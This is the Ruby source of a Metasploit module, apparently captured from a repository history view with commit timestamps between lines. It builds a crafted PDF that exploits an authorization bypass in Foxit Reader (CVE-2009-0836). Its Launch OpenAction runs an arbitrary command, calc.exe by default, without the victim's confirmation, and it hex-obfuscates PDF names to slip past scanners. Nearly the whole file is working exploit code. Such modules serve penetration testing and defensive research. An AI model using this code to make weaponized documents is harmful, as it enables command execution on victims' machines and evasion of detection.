metasploit-framework/modules/auxiliary/pdf/foxit/authbypass.rb

117 lines
3.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'zlib'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit Reader Authorization Bypass',
'Description' => %q{
This module exploits a authorization bypass vulnerability in Foxit Reader
build 1120. When a attacker creates a specially crafted pdf file containing
a Open/Execute action, arbitrary commands can be executed without confirmation
from the victim.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
'References' =>
[
[ 'CVE', '2009-0836' ],
[ 'BID', '34035' ],
],
'DisclosureDate' => 'Mar 9 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
exec = datastore['CMD']
# Create the pdf
pdf = make_pdf(exec)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
2014-12-12 12:16:21 +00:00
def n_obfu(str)
2013-08-30 21:28:54 +00:00
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack('C*')[0]
else
result << c
end
end
result
end
2014-12-12 12:16:21 +00:00
def random_non_ascii_string(count)
2013-08-30 21:28:54 +00:00
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
2014-12-12 12:16:21 +00:00
def io_def(id)
2013-08-30 21:28:54 +00:00
"%d 0 obj" % id
end
2014-12-12 12:16:21 +00:00
def io_ref(id)
2013-08-30 21:28:54 +00:00
"%d 0 R" % id
end
def make_pdf(exec)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
2014-12-12 12:16:21 +00:00
pdf << "%" << random_non_ascii_string(4) << eol
2013-08-30 21:28:54 +00:00
xref << pdf.length
2014-12-12 12:16:21 +00:00
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
2013-08-30 21:28:54 +00:00
xref << pdf.length
2014-12-12 12:16:21 +00:00
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
2013-08-30 21:28:54 +00:00
xref << pdf.length
2014-12-12 12:16:21 +00:00
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
2013-08-30 21:28:54 +00:00
xref << pdf.length
2014-12-12 12:16:21 +00:00
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
2013-08-30 21:28:54 +00:00
xref << pdf.length
2014-12-12 12:16:21 +00:00
pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
2013-08-30 21:28:54 +00:00
xref << pdf.length
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
2014-12-12 12:16:21 +00:00
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
2013-08-30 21:28:54 +00:00
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end